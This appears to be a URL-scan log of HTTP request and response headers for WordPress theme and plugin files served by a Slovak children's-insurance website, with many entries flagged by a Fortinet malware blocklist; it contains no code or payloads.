Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 21:54:44 GMT
etag: W/"1ea06-5b91fa735d100"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.3.3 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 21:54:44 GMT
etag: W/"52a65-5b91fa735d100"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/wp-emoji-release.min.js?ver=5.6.10 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sat, 20 Aug 2022 10:20:53 GMT
etag: W/"5a09-5e6a991c4ab40"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/css/layout.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:54 GMT
etag: W/"1cd5c-5b91c917f11d9"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /wp-includes/js/jquery/ui/accordion.min.js?ver=1.12.1 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Thu, 04 Feb 2021 12:43:15 GMT
etag: W/"3063-5ba820c187ec0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/assets/animations/animations.min.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:37 GMT
etag: W/"e4a1-5b91c90704ee2"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/js/menu.js?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:47:54 GMT
etag: W/"1819-5b91d0b0aca80"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/wp-embed.min.js?ver=5.6.10 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Thu, 04 Feb 2021 12:43:15 GMT
etag: W/"141e-5ba820c187ec0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/style.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:34 GMT
etag: W/"15e-5b91c90448b5c"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/js/scripts.js?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:47:55 GMT
etag: W/"12310-5b91d0b1a0cc0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /css?family=Nunito%3A400%2C900&display=swap&ver=5.6.10 HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         142.250.74.106
HTTP/2 200 OK
content-type: text/css; charset=utf-8
                                        
access-control-allow-origin: *
timing-allow-origin: *
link: <https://fonts.gstatic.com>; rel=preconnect; crossorigin
strict-transport-security: max-age=31536000
expires: Thu, 02 Feb 2023 08:25:15 GMT
date: Thu, 02 Feb 2023 08:25:15 GMT
cache-control: private, max-age=86400
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin-allow-popups
content-encoding: gzip
server: ESF
x-xss-protection: 0
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /wp-content/themes/betheme/js/plugins.js?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:47:55 GMT
etag: W/"32e2f-5b91d0b1a0cc0"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/assets/jplayer/jplayer.min.js?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:38 GMT
etag: W/"dbed-5b91c907eb880"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /wp-includes/css/dist/block-library/style.min.css?ver=5.6.10 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Mon, 22 Feb 2021 19:16:29 GMT
etag: W/"c88a-5bbf1a38fd650"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/css/base.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:53 GMT
etag: W/"da37-5b91c9172bd7c"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/css/shortcodes.css?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: text/css
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:14 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:57 GMT
etag: W/"211f7-5b91c91a17ea9"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/betheme/assets/animations/animations.min.js?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:13:37 GMT
etag: W/"15b3-5b91c906f7640"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
                                        
                                            GET /wp-content/themes/betheme/js/parallax/translate3d.js?ver=21.9.7 HTTP/1.1 
Host: www.poistenie-deti.sk
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.poistenie-deti.sk/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         37.9.175.132
HTTP/2 200 OK
content-type: application/javascript
                                        
server: openresty
date: Thu, 02 Feb 2023 08:25:15 GMT
vary: Accept-Encoding
last-modified: Sun, 17 Jan 2021 18:47:56 GMT
etag: W/"1e07-5b91d0b294f00"
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---